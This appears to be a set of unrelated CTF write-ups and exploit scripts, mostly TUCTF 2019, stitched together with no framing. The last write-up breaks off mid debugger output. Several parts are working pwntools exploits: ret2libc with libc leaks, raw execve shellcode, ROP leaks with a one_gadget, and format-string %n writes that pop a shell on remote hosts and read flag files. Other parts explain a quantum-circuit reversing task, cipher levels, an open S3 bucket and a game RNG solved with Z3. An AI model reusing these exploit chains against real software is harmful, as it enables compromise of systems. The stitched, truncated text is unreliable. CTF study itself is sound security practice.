``` p.recvuntil("Try harder\n") libc_leak = u32(p.recv(4)) log.info("Libc leak : {}".format(hex(libc_leak))) libc.address = libc_leak - libc_diff log.info("Libc base address : {}".format(hex(libc.address))) libc_system = libc.symbols['system'] log.info("Libc system : {}".format(hex(libc_system))) libc_binsh = libc.search("/bin/sh").next() log.info("Libc /bin/sh : {}".format(hex(libc_binsh)))
payload = '' payload += 'A' * padding payload += p32(libc_system) payload += "JUNK" payload += p32(libc_binsh)
p.sendline(payload) sleep(1) p.sendline("ls -la && cat f* && cat pass*") p.interactive()
if __name__ == "__main__": if len(sys.argv) < 2: log.info("Argument needed!") log.info("Usage: python {} <local/remote>".format(sys.argv[0])) sys.exit(0) elif sys.argv[1] == "local": p = process("./pancakes") libc = ELF("libc6_2.27-3ubuntu1_i386.so") exploit(p, libc, 0x0512d0) elif sys.argv[1] == "remote": p = remote("chal.tuctf.com", 30503) libc = ELF("libc6_2.27-3ubuntu1_i386.so") exploit(p, libc, 0x0512d0) else: sys.exit(0)```
Run the exploit and we got a shell```chao at Yu in [~/Documents/WriteUps/TUCTF/pwn/pancakes] on git:master ✗ 7e4a166 "Added so many new pwn"17:17:44 › python exploit.py local[+] Starting local process './pancakes': pid 6398[*] '/home/chao/Documents/WriteUps/TUCTF/pwn/pancakes/libc6_2.27-3ubuntu1_i386.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/chao/Documents/WriteUps/TUCTF/pwn/pancakes/pancakes' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] Libc leak : 0xf7d7c2d0[*] Libc base address : 0xf7d2b000[*] Libc system : 0xf7d68200[*] Libc /bin/sh : 0xf7ea90cf[*] Switching to interactive mode�!��@+��0\x17���=��\xb02��0\xb7���&��Enter pancake password> Try hardertotal 1940drwxrwxr-x 2 chao chao 4096 Des 2 01:46 .drwxrwxr-x 9 chao chao 4096 Des 2 01:46 ..-rw-rw-r-- 1 chao chao 1564 Des 2 01:43 exploit.py-rw-r--r-- 1 chao chao 18 Des 2 00:57 flag.txt-rw------- 1 chao chao 200 Des 2 01:32 .gdb_history-rw-rw-r-- 1 chao chao 1942840 Nov 30 21:49 libc6_2.27-3ubuntu1_i386.so-rwxrwxr-x 1 chao chao 15696 Des 2 00:54 pancakes-rw-r--r-- 1 chao chao 5 Des 2 00:59 password.txtflag{test_chall} AAAA$ iduid=1000(chao) gid=1000(chao) groups=1000(chao),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),999(docker)``` |
from pwn import *from struct import pack
########################################################################### My approach to Binary Exploitation.# DOWNLOAD PWNTOOLS TO RUN!# TO FIND LIBC VERSION, use https://libc.blukat.me/##########################################################################
nops = b'\x90'padding = b'\x00'
clean = lambda x: x.split('\n')[1:-2]pad = lambda x: x + padding*(4-len(x))
########################################################################### Load Binaries##########################################################################
elf = ELF('./3step')context.binary = './3step'
########################################################################### Generate Initial Payload to Leak memory##########################################################################
# create shellcode (shell.asm) # SECTION .text # global main
# main: # ;xor eax, eax # push 0x00000000;eax # push 0x68732f2f # push 0x6e69622f # push 0x41424344 # ret;jmp eax # nop # xor eax, eax # mov ebx, esp # mov ecx, eax # mov edx, eax # mov al,0xb # int 0x80
# create Shellcode (./shellcodegen.sh shell) #!/bin/bash # nasm -f elf $1.asm -o $1 # echo $(objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/')
########################################################################### Actual Exploitation ==> ##########################################################################
# r = elf.process()r = remote('chal.tuctf.com', 30504)r.readline()r.readline()
buf_addr = p32(int(r.readline()[:-1].decode('utf-8'), 16))stack_addr = p32(int(r.readline()[:-1].decode('utf-8'), 16))
shellcode1 = b'\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68' + stack_addr + b'\xc3'shellcode2 = b'\x31\xc0\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'
payload = shellcode1 + shellcode2 + b'\x90'*(37 - (len(shellcode1 + shellcode2) + 4)) + b'\n' + buf_addr
r.clean()r.sendline(payload)r.interactive() |
# RITSEC CTF 2019 – Buckets of fun
* **Category:** web* **Points:** 100
## Challenge
> http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com/> > Author: scriptingislife
## Solution
The title of the challenge is a hint to insecure/public AWS S3 buckets, so [S3Scanner](https://github.com/sa7mon/S3Scanner) can be used to easily dump the content.
```root@m3ss4p0:~# git clone https://github.com/sa7mon/S3Scanner.gitroot@m3ss4p0:~# cd S3Scanner/root@m3ss4p0:~/S3Scanner# chmod u+x s3scanner.pyroot@m3ss4p0:~/S3Scanner# pip install -r requirements.txt root@m3ss4p0:~/S3Scanner# python3 ./s3scanner.py --dump bucketsoffun-ctf.s3-website-us-east-1.amazonaws.comroot@m3ss4p0:~/S3Scanner# cd buckets/bucketsoffun-ctf/root@m3ss4p0:~/S3Scanner/buckets/bucketsoffun-ctf# lltotale 8-rw-r--r-- 1 root root 630 nov 16 09:15 index.html-rw-r--r-- 1 root root 25 nov 16 09:15 youfoundme-asd897kjm.txtroot@m3ss4p0:~/S3Scanner/buckets/bucketsoffun-ctf# cat youfoundme-asd897kjm.txtRITSEC{LIST_HIDDEN_FILES}```
The flag is the following.```RITSEC{LIST_HIDDEN_FILES}``` |
from pwn import *from struct import pack
########################################################################### My approach to Binary Exploitation on ASLR Enabled systems.# DOWNLOAD PWNTOOLS TO RUN!# TO FIND LIBC VERSION, use https://libc.blukat.me/##########################################################################
nops = b'\x90'padding = b'\x00'
clean = lambda x: x.split('\n')[1:-2]pad = lambda x: x + padding*(4-len(x))
########################################################################### Load Binaries and Respective libc## To Find the Libc version, make ROP chain to print address of libc# functions, which are stored in GOT table as values of pointers.# Just pass the address of pointer to RDI through pop rdi; ret# And call puts function.# TO FIND LIBC VERSION, use https://libc.blukat.me/##########################################################################
elf = ELF('./pancakes')context.binary = './pancakes' # libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")########################################################################### Find Offset##########################################################################
r = elf.process()crash = cyclic(1024)r.sendline(crash)r.wait()core = r.corefileesp = core.espoffset = core.read(esp, 4)offset = cyclic_find(offset)success("Offset found @ {a} bytes".format(a=offset))
########################################################################### Generate Initial Payload to Leak memory##########################################################################
### Find manuallycrashOffset = offset
### 0x7fffffffd7e8 is just some random value in stack space, just so RBP is validjunk = nops*(crashOffset - (4)) # Override RBP
nullbytes = p32(0)
### elf.symbols contains addresses of functions (and stubs as here)putsret = p32(elf.symbols['puts'])readsret = p32(elf.symbols['read'])mainret = p32(elf.symbols['main'])printfret = p32(elf.symbols['printf'])
puts_offset = p32(elf.got['puts'])read_offset = p32(elf.got['read'])
printf = p32(0x80492e9)ts = p32(0x804a008)
########################################################################### Demo ==> ##########################################################################
# r = elf.process()r = remote('chal.tuctf.com', 30503) # gdb.attach(r.pid, """c""")
print(r.readline())r.clean()
### This Payload prints puts and read addressed and calls main function again
# Address of putscode = p32(0xdeadbeef) + putsret + mainret + puts_offset + ts# + + ts #tspayload = nops*(offset - 8) + code
r.sendline(payload)r.readline()puts_leak = u32(pad(r.readline()[:4])) & 0xffffffffprint("puts: ", hex(puts_leak))r.clean()
# Address of readcode = p32(0xdeadbeef) + putsret + mainret + read_offset + ts# + + ts #tspayload = nops*(offset - 8) + code
r.sendline(payload)r.readline()read_leak = u32(pad(r.readline()[:4])) & 0xffffffffprint("read: ", hex(read_leak))r.clean()
########################################################################### Compute Libc Base address from leaked addresses##########################################################################
# This LIBC comes from LIBC-database, Search how to use it online!libc = ELF('/home/ashishkumarsingh/HackingTools/libc-database/db/libc6_2.27-3ubuntu1_i386.so')#ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
puts_libcoffset = libc.symbols['puts']libc_base = puts_leak - puts_libcoffset# This address must be 0x1000 aligned, if not, its Probably wrong!print("libc base: ", hex(libc_base))if(libc_base & 0x0000000000000fff): print("ALERT! Program is probably using different libc than specified! \ USE THE LAST 3 DIGITS OF LEAKED ADDRESSES TO GET LIBC VERSION \ USING LIBC-DATABASE! Then Substitute the address of libc above!")
########################################################################### Now Actual Exploitation!# Use libc base address to generate address of a one gadget!# use one_gadget to find one gadgets##########################################################################
# sys_offset = p32(0x45390 + libc_base)
# 0x67a7f execl("/bin/sh", eax) # constraints: # esi is the GOT address of libc # eax == NULL one_gadget = p32( 0x67a7f + libc_base) # from one_gadget
code = p32(0xdeadbeef) + one_gadget + mainret + ts# + + ts #tspayload = nops*(offset - 8) + code
r.clean()
r.sendline(payload)r.readline()# Get Interactive shellr.interactive() |
# Used Ghidra to disasemble and decompile the complete file.# The flag is decoded by the function 'printFlag'# Just simply copy the pseudo-decompiled-C code, and use it to print our flag ==>
#include "stdio.h" #include "stdint.h"
void printFlag(char *param_1) { char *__dest; size_t sVar1; int local_30; __dest = (char *)malloc(0x40); memset(__dest,0,0x40); strcpy(__dest,param_1); sVar1 = strlen(__dest); local_30 = 0; while (local_30 < (int)sVar1) { __dest[local_30] = (char)((int)((((int)__dest[local_30] ^ 0xfU) - 0x1d) * 8) % 0x5f) + ' '; local_30 = local_30 + 1; } puts(__dest); return; }
int main() { printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k"); return 0; } |
# Pwn2Win CTF 2019: HARPA Hyper quantum Login system**DISCLAIMER:** *I'm the chall author, I just wrote the solution as if I was playing the CTF!***Category:** Rev**Points:** 500**Solves:** 0
> HARPA implemented quantum authentication systems for their machines. We found this prototype and believe it is possible to recover the password. We need your help.
## Hints> Even quantum Systems are just Linear operators in disguise.> Quantum Information algorithms can be implemented following any convention for the order of qubits in the registers.
## Write-up
### RevWe are given 4 files: `control.py`, `chall.qasm`, `otp/otp{0,1}.csv`. Afterreversing the `control.py` we conclude that we have partial control of the input to the quantum circuit in `chall.qasm`. Our input string is decodedin a Base64 variant and the bits are used to choose elements from the matricesstored in `otp/otp{0,1}.csv`.
```pythondef encode_string(s): return ''.join(encoding_dict[c] for c in s )
def gen_keys(enc_s): if len(enc_s)<BLOCK_EL: enc_s +='0'*(BLOCK_EL-len(enc_s)) return [enc_s[i:i+BLOCK_SIZE] for i in range(0,BLOCK_EL,BLOCK_SIZE)]
def get_states(keys,otp): return [[otp[int(i)][j][kn] for j,i in enumerate(k)] for kn,k in enumerate(keys)]```
These selected elements were broken in 16 pieces, and noweach piece is appended with an unknown padding and the results are passed as inputto the circuit via the generated file `converted_input.inc`.
```pythondef initial_state(s): res = np.array(s) return res/np.linalg.norm(res)
def setup_state(vec): out = ( 'initialize(' + ','.join('{:.9f}'.format(v) for v in vec) + ')' + ','.join('b[{}]'.format(j) for j in range(NBITS)) + ';\n' ) return out
# main
keys = gen_keys(encode_string(pwd))states = get_states(gen_keys(encode_string(pwd)), otp)
for kn,padding,state in zip(range(len(states)),my_secrets.padding, states): with open("converted_input.inc","w") as f: print(setup_state(initial_state(state + padding))) f.write(setup_state(initial_state(state + padding)))```
The result of each run is filtered on one of the output values, it is checked that there arecounts for only one state, the resulting state is converted to an integer and comparedto the loop iteration counter. If we pass all tests in all rounds, we can login
```python# In the main looptarget = []while len(target)==0: results = qiskit.execute(circ, backend, shots=30).results() counts = results.get_counts(circ) target = list(filter(lambda s: s[-1]=='1', counts.keys()))
if len(target)==1 and int(target[0][-NBITS-2:-1], 2) == int(kn): count+=1
# Final checkif count==BLOCK_SIZE: print("Login successful!")```
### But, what is it actually doing?There are many examples of quantum algorithms, but not that many have been fully implementedin qasm. Also, the capitalization in the title spells HHL... After some research, wedetermine that the circuit implements the HHL algorithm for solving linear systems of the form`A*x=b`. We are finally able to understand that the circuit is using the state generatedfrom our password and using it as the `b`. The matrix `A` must be extracted from the circuit,`x` is the `target` and we must determine which `b` will make the test`int(target[0][-NBITS-2:-1], 2) == int(kn)` pass.
We must also satisfy `len(target)==1`, which means our state must have only one component.To understand why, we need some quantum mechanics.A quantum state of N qubits is encoded as a vector of 2^N entries.So, for a 2-qubit state we would have:`|psi> = a*|00> + b*|01> + c*|10> + d*|11> => (a,b,c,d)`.The sum of the modulus-squared of all coefficients of a state `|psi>` mustequal one, and the probability of measuring a certain state is themodulus square of it's coefficient.So, if we have `kn=0`, we want our state to maximize the chancesof measuring `|00>`, our target state should be (1,0,0,0).Finally, if we multiply `A` by a vector with only one non-zero entrywe get a column of A as a result, and that is our `b` for that round!
### Extracting ALooking at the qasm code, some parts look random, and some parts seem to follow a pattern.It was possible to identify that the random parts can be reduced to no-ops, leaving a muchmore treatable circuit. Also, we could find an[implementation of the algorithm](https://github.com/nelimee/quantum-hhl-4x4/tree/master/hhl4x4) that follows the same patterns present in the processed circuit.
Using the found implementation code as a reference,we extracted the matrix `A` following the procedure suggested there.```pythondef get_unitary(code): if isinstance(code,str): code = get_circuit(code) un = qiskit.Aer.get_backend('unitary_simulator') return qiskit.execute(code,un).result().get_unitary()
def get_A(U): return (-1.j*logm(U[1::2,1::2])).real/(2*np.pi)*2**8
A = get_A(get_unitary('relevant code'))A = A[:16,:16] #Only need first 16x16 block```
### Recovering the passwordThe state we construct from our password is equal to the columns in matrix Aup to a multiplicative constant. We can find the most frequent ratiosto recover the right constant and retrieve the bit pattern. (Note: in principle,it is possible to have different constants for each column. For reasons I won't go into,I decided to use a single constant when building the chall).
```pythonall_ratios = np.round(list((A/(otp[0]+1e-30)).ravel())+list((A/(otp[1]+1e-30)).ravel()),decimals=6)counter = Counter(all_ratios)otp_mul = otp * counter.most_common(2)[1][0] #Most frequent is zeroA_approx = np.round(A,decimals=3)otp_approx = np.round(otp_mul,decimals=3)np.fill_diagonal(A_approx,-32) # Euler's identity can mess up the diagonal. Use otp values to determine the correct one
rec_keys = np.zeros_like(A_approx,dtype=np.int)rec_keys[np.where(A_approx == otp_approx[1])] = 1decoding_dict = { v:k for k,v in encoding_dict.items() }
def decode_string(s): dec = '' for i in range(0,len(s),6): dec += decoding_dict.get( s[i:i+6], '') return dec
print(decode_string(''.join([str(v) for v in rec_keys.T.ravel()])))```
This prints `}zlPevlOS_ot_sMeTsyS_Ra3nML__rom_0t{RB-HTC`, which when reversedgives `CTH-BR{t0_mor__LMn3aR_SysTeMs_to_SOlvePlz}`. This is very close to a flagand we could actually brute-force all the letters that seem to be wrong, but there isa better way. Turns out the OTP is undecidable in four locations (`otp[0][i,j]==otp[1][i,j]` for 4 pairs `i,j`)and we only need to brute-force these 4 bits. There is only one string that looks like a flag: `CTF-BR{N0_mor3_LIn3aR_SysTeMs_to_SOlvePlz}`
### Additional comment
Right after the CTF, I talked with the teams that were trying to solve the chall to see how close they were.They had the idea of removing the control bit to process the unitary matrix. While developing the chall I though this could be done,but never tried to implement it as I already had another solver.
I was really bothered after seeing that this solution was not working and I tried to find something wrong with it.At first, I thought that the operator `tdg c[0];` could not be ignored as they had done, and that's what I told them, but I was wrong.In fact, they transformed `ccx c[0],q2[0],q2[1];` in `cx q2[0],q2[1];` and this was the real issue. Originally, if `c[0]` is zero`q2[1]` will not flip irrespective of `q2[0]`'s state, but in the modified version this is no longer the case!
In the end, I kept learning things even after the CTF! |
from pwn import *from struct import pack
elf = ELF('./printfun')context.binary = './printfun'
# FORMAT STRING VULNERABILITY!
payload = 'this is mind blowing! %6$n%7$n' # We use Format String exploitation. Google it
# r = elf.process()r = remote('chal.tuctf.com', 30501)r.clean()r.sendline(payload)r.clean()r.readline() |
### Brief description ###On `chal.tuctf.com:30102` a server presents the audacious with a 10-level challenge (level 0 ~ level 9).There is no "save" functionality. Therefore, each try always starts from level 0.
### Level 0 to Level 4 ###The first 5 levels are essentially the same. The server asks for a string and returns its encoded form.After that, it outputs for 50 times a random encoded word, asking to decode it.Each error is not fatal and results in a retry request, although there is a time limit to provide the correct answer.The encoding consists of a consistent mapping `{letter -> unique_string_of_symbols}`.Both lowercase and uppercase letters are mapped to the same string of symbols (i.e., the system is case insensitive).No numbers are included in valid decoded strings.
#### The strategy for Level 0 ~ Level 4 ####Just send `qwertyuiopasdfghjklzxcvbnm`, retrieve the encoded string, derive the unique mappings, and save them somewhere.Then, for 50 times, receive the string to decode, apply the inverse mappings, and send back the decoded string.After 50 correct guesses, the level increases by 1, and the mappings change.At the beginning of each level one can send `qwertyuiopasdfghjklzxcvbnm` to retrieve the new mappings.
### Level 5 ###The 6th level is similar to the previous ones in that at the beginning you can send a string and receive its encoded form.Then, the usual 50-times cycle of receive-decode-send applies.However, the mappings approach changes for this level: each string of symbols is mapped to a different letter depending on its position.In other words, the new inverse mappings for decoding the ciphertext are `{(unique_string_of_symbols, position) -> letter}`.Furthermore, the positions are considered modulo 8.For instance, the same string of symbols is mapped to the same letter in all the following positions: 0, 8, 16, etc.The same applies, for example, to positions 3, 11, 19, etc.
#### The strategy for Level 5 ####Send (python syntax) `"a"*8 + "b"*8 + ... + "z"*8`, retrieve the encoded string, derive the mappings, and save them somewhere.Then, for 50 times, receive the string to decode, apply the inverse mappings, and send back the decoded string.
### Level 6 ###The 7th level features again an oracle encoding a string of your choice, and a 50-times receive-decode-send cycle.This time, the mappings are position independent like the first 5 level, but there is a catch.The encoding consists of 2 commutative operations (i.e., the order does not matter).Not only each letter is consistently mapped to a unique string of symbols, but then a scrambling happens.For the sake of explainability, it is easier to consider the scrambling as the first operation (i.e., before the encoding).
#### Level 6: the scrambling ####For strings whose length is less than 5 characters, the scrambling always returns the same string.For longer strings, consider an unscrambled input and an output string to build:
1) The first character of the output string is always the first character of the input string. Let's call `i` the position of such character in the input string.2) Each successive character of the output string is the character in position `i + 4` of the input string, if it exists. Otherwise, it is the first character of the input string which has not been "added" yet to the output string.
For instance, the string `qwertyuiopasdfghjklzxcvbnm` is scrambled to `qtodjxnwypfkcmeuaglvrishzb`.I could not find an easy way to reverse the scrambling for strings of arbitrary length.However, the scramble is cyclical: if you continue to apply it to each product of itself, it will at some point output the unscrambled string.
#### Level 6: the strategy ####Send whatever string to the oracle and ignore the returned one (the mappings are fixed, and can be retrieved by not ignoring the oracle output during a test run with `qwertyuiopasdfghjklzxcvbnm`, just mind the scrambling).Then, for the usual 50 times:
1) Apply the mappings to get a string of letters.2) Then apply the scrambling procedure multiple times, keeping track of the very first input, the lastest input, and the output.3) When the output matches the very first input, then the latest input is the unscrambled string we want.4) Send the output of phase 3) to the server.
Note that steps 2) and 3) can be applied in any order.
### Level 7 ###The 8th level behaves like any Level 0~4. The strategy for any of them works for Level 7.
### Level 8 ###The 9th level behaves like Level 5 with a minor caveat.This time the positions are considered modulo 7, rather than modulo 8.Therefore, the string to send is (python syntax) `"a"*7 + "b"*7 + ... + "z"*7`.If one wishes to reuse the code from Level 5, every modulo 8 operation must be changed to a modulo 7 operation.
### Level 9 ###Once you reach the 10th level, you are being told that it is the last level.Luckily, this level behaves exactly like Level 6. Its strategy works for Level 9.Once you complete Level 9, you receive the flag.
### The Exploit ###Check [this link](https://github.com/cloudstrife9999/tuctf-crypto-infinite/blob/master/exploit.py) |
# Expensive flag (game, 140p, 10 solved)
In this quest we can simply buy the flag, assuming we have 100k of gold.The only way to make money in the game is to sell metal ingots to the collector, and he pays 1k for every ingot he doesn't yet have.There are 9 different metals, so we can get 9k.What about the rest?
If we look closely at the Mob class, which is also base for all NPCs, we can see:
```pythonclass Mob(object): def __init__(self, world): # Initial values are for a non-existing mob. self.world = world self.id = MOB_NON_EXISTING_ID # Must be set when adding to the world. self.gfx_id = "" self.name = "Unknown" self.type = MOB_TYPE_NPC self.hp = 100 self.hp_max = 100 self.mana = 100 self.mana_max = 100 self.visible = True self.inventory = [world.NON_EXISTING_ITEM] * 8 self.move_count = 0 self.killable = True
self.pos_x, self.pos_y = None, None # Position if on map.```
Look closely at `self.inventory = [world.NON_EXISTING_ITEM] * 8`There are only 8 slots, and in the game logic the item drops on the ground if it doesn't fit in the inventory.
This means we actually can sell the 9th ingot as many times as we want, since it will simply drop to the ground, and we can pick it up again.
The hard part now is to get all those ingots.In order to do that we need to get a pickaxe and dig in specific place.The type of metal we get is based on an algorithm:
```python def gen_random(self, player): n = 0xf0e1d2c3 for a, b, c in self.last_used_locations: k = a ^ (b << 8) ^ (c << 16) n = ((n << 3) ^ k) & 0xffffffff self.last_used_locations.append( (player.pos_x, player.pos_y, player.direction) ) self.last_used_locations = self.last_used_locations[-10:] return n```
And:
```python metals = [ ("ironium", 50000, 79999), ("shadovium", 80000, 89999), ("titanium", 90000, 94999), ("copperium", 95000, 97999), ("cobaltium", 98000, 98999), ("aurium", 99000, 99499), ("amethystium", 99500, 99959), ("royalium", 99960, 99998), ("dragonium", 99999, 99999), ]```
The algorithm is pretty simple, and we can easily dump this directly to Z3 to solve for us:
```pythondef generate_moves_for_value(target): last_positions = [(z3.BitVec('x%d' % i, 64), z3.BitVec('y%d' % i, 64), z3.BitVec('dir%d' % i, 64)) for i in range(10)] s = z3.Solver() for x, y, direction in last_positions: s.add(x < 428) s.add(x >= 420) s.add(y < 185) s.add(y >= 180) s.add(direction < 4) s.add(direction >= 0) n = gen_random(last_positions) s.add(n == target) print(s.check()) model = s.model() results = [] for x, y, direction in last_positions: results.append((model[x].as_long(), model[y].as_long(), model[direction].as_long())) return results
def gen_random(last_used_locations): n = 0xf0e1d2c3 for a, b, c in last_used_locations: k = a ^ (b << 8) ^ (c << 16) n = ((n << 3) ^ k) & 0xffffffff return n % ```
This will give us 10 locations where we need to dig, and after that digging once more will give the metal we want.It's not the most efficient way, since it requires digging 10 times for 1 ingot, and we could use previous digging locations in the solver, to get next ingot in 1 shot, but it works anyway.
Once we collect all ingots we can start selling them and finally we get:
 |
# Vulnmath tuctf 2019
Let's take a look at the binary:
```$ pwn checksec vulnmath[*] '/home/guyinatuxedo/Desktop/tuctf/vulnmath' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)$ file vulnmathvulnmath: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ba48ed39bdaaa3ddfc1bab6e8f45c8ee92e552bc, for GNU/Linux 3.2.0, not stripped$ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.30-0ubuntu2) stable release version 2.30.Copyright (C) 2019 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 9.2.1 20190909.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ ./vulnmathWelcome to VulnMathWhere your wildest shells can come true
What is 13 * 1?> %xIncorrect!9c27160
What is 12 * 13?>```
So we can see we are dealing with a `32` bit binary with libc version `2.30`, that is vulnerable to a format string bug. A format string bug is essentially when `printf` is called on data without a format string specified, so the data itself can specify what format strings to use. I have already made a lot of write ups about this, so I won't go super in depth about everything. If you want to see more about this, checkout `https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings` or just `https://github.com/guyinatuxedo/nightmare/`.
## Reversing
When we take a look at the `main` function in ghidra, we see this:
```/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{ uint __seed; int iVar1; undefined4 local_48; undefined4 local_44; undefined4 local_40; undefined4 local_3c; undefined4 local_38; undefined4 local_34; undefined4 local_30; undefined4 local_2c; int local_28; int local_24; int local_20; undefined4 *local_1c; int i; int local_14; setvbuf(stdout,(char *)0x0,2,0x14); setvbuf(stdin,(char *)0x0,2,0x14); local_14 = 0; local_1c = (undefined4 *)malloc(0x40); memset(&local_48,0,0x20); __seed = time((time_t *)0x0); srand(__seed); puts("Welcome to VulnMath\nWhere your wildest shells can come true\n"); i = 0; while (i < 6) { iVar1 = rand(); local_20 = iVar1 % 0x13 + 1; iVar1 = rand(); local_24 = iVar1 % 0x13 + 1; printf("What is %d * %d?\n> ",local_20,local_24); read(0,local_1c,0x20); local_48 = *local_1c; local_44 = local_1c[1]; local_40 = local_1c[2]; local_3c = local_1c[3]; local_38 = local_1c[4]; local_34 = local_1c[5]; local_30 = local_1c[6]; local_2c = local_1c[7]; local_28 = atoi((char *)&local_48); if (local_28 == local_20 * local_24) { puts("Correct! +5 points"); local_14 = local_14 + 5; } else { puts("Incorrect!"); printf((char *)&local_48); } puts(""); i = i + 1; } printf("Final Score: %d\n",local_14); puts("Thanks for playing!"); free(local_1c); return 0;}```
We can see the format string bug here:
``` printf((char *)&local_48);```
Since relro is not enabled, we will just go for the got overwrite. Since it looks like there are no good places to jump in the binary that will either give us a shell or print out the flag, I decided to jump to `system` in libc. This meant I needed a libc infoleak.
## Exploitation
We can find out where we can find our input in reference to the format string but with the standard method:
```gef➤ rStarting program: /home/guyinatuxedo/Desktop/tuctf/vulnmathWelcome to VulnMathWhere your wildest shells can come true
What is 17 * 18?> 0000.%6$xIncorrect!0000.30303030
What is 5 * 11?>```
```gef➤ b *0x804948fBreakpoint 1 at 0x804948fgef➤ rStarting program: /home/guyinatuxedo/Desktop/tuctf/vulnmathWelcome to VulnMathWhere your wildest shells can come true
What is 12 * 3?> 0000 Incorrect!
Breakpoint 1, 0x0804948f in main ()[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd138 → "0000"$ebx : 0x0804c000 → 0x0804bf0c → 0x00000001$ecx : 0xffffffff$edx : 0xffffffff$esp : 0xffffd120 → 0xffffd138 → "0000"$ebp : 0xffffd178 → 0x00000000$esi : 0xf7fb6000 → 0x001e8d6c$edi : 0xf7fb6000 → 0x001e8d6c$eip : 0x0804948f → <main+441> call 0x8049110 <printf@plt>$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063───────────────────────────────────────────────────────────────────── stack ────0xffffd120│+0x0000: 0xffffd138 → "0000" ← $esp0xffffd124│+0x0004: 0x0804d1a0 → "0000"0xffffd128│+0x0008: 0x000000200xffffd12c│+0x000c: 0x080493ba → <main+228> mov ecx, eax0xffffd130│+0x0010: 0xf7fb4a60 → 0xf7fb4a60 → [loop detected]0xffffd134│+0x0014: 0x000800000xffffd138│+0x0018: "0000"0xffffd13c│+0x001c: 0x0000000a─────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8049488 <main+434> sub esp, 0xc 0x804948b <main+437> lea eax, [ebp-0x40] 0x804948e <main+440> push eax → 0x804948f <main+441> call 0x8049110 <printf@plt> ↳ 0x8049110 <printf@plt+0> endbr32 0x8049114 <printf@plt+4> jmp DWORD PTR ds:0x804c010 0x804911a <printf@plt+10> nop WORD PTR [eax+eax*1+0x0] 0x8049120 <free@plt+0> endbr32 0x8049124 <free@plt+4> jmp DWORD PTR ds:0x804c014 0x804912a <free@plt+10> nop WORD PTR [eax+eax*1+0x0]─────────────────────────────────────────────────────── arguments (guessed) ────printf@plt ( [sp + 0x0] = 0xffffd138 → "0000")─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "vulnmath", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x804948f → main()────────────────────────────────────────────────────────────────────────────────gef➤ x/40w 0xffffd1380xffffd138: 0x30303030 0xa 0x0 0x00xffffd148: 0x0 0x0 0x0 0x00xffffd158: 0x0 0x3 0xc 0x804d1a00xffffd168: 0x0 0x0 0xffffd190 0x00xffffd178: 0x0 0xf7debfb9 0xf7fb6000 0xf7fb60000xffffd188: 0x0 0xf7debfb9 0x1 0xffffd2240xffffd198: 0xffffd22c 0xffffd1b4 0x1 0x00xffffd1a8: 0xf7fb6000 0x0 0xf7ffd000 0x00xffffd1b8: 0xf7fb6000 0xf7fb6000 0x0 0x55c52570xffffd1c8: 0x47819c47 0x0 0x0 0x0gef➤ vmmapStart End Offset Perm Path0x08048000 0x08049000 0x00000000 r-- /home/guyinatuxedo/Desktop/tuctf/vulnmath0x08049000 0x0804a000 0x00001000 r-x /home/guyinatuxedo/Desktop/tuctf/vulnmath0x0804a000 0x0804b000 0x00002000 r-- /home/guyinatuxedo/Desktop/tuctf/vulnmath0x0804b000 0x0804c000 0x00002000 r-- /home/guyinatuxedo/Desktop/tuctf/vulnmath0x0804c000 0x0804d000 0x00003000 rw- /home/guyinatuxedo/Desktop/tuctf/vulnmath0x0804d000 0x0806f000 0x00000000 rw- [heap]0xf7dcd000 0xf7dea000 0x00000000 r-- /usr/lib/i386-linux-gnu/libc-2.30.so0xf7dea000 0xf7f44000 0x0001d000 r-x /usr/lib/i386-linux-gnu/libc-2.30.so0xf7f44000 0xf7fb3000 0x00177000 r-- /usr/lib/i386-linux-gnu/libc-2.30.so0xf7fb3000 0xf7fb4000 0x001e6000 --- /usr/lib/i386-linux-gnu/libc-2.30.so0xf7fb4000 0xf7fb6000 0x001e6000 r-- /usr/lib/i386-linux-gnu/libc-2.30.so0xf7fb6000 0xf7fb8000 0x001e8000 rw- /usr/lib/i386-linux-gnu/libc-2.30.so0xf7fb8000 0xf7fba000 0x00000000 rw-0xf7fcd000 0xf7fcf000 0x00000000 rw-0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar]0xf7fd2000 0xf7fd3000 0x00000000 r-x [vdso]0xf7fd3000 0xf7fd4000 0x00000000 r-- /usr/lib/i386-linux-gnu/ld-2.30.so0xf7fd4000 0xf7ff1000 0x00001000 r-x /usr/lib/i386-linux-gnu/ld-2.30.so0xf7ff1000 0xf7ffc000 0x0001e000 r-- 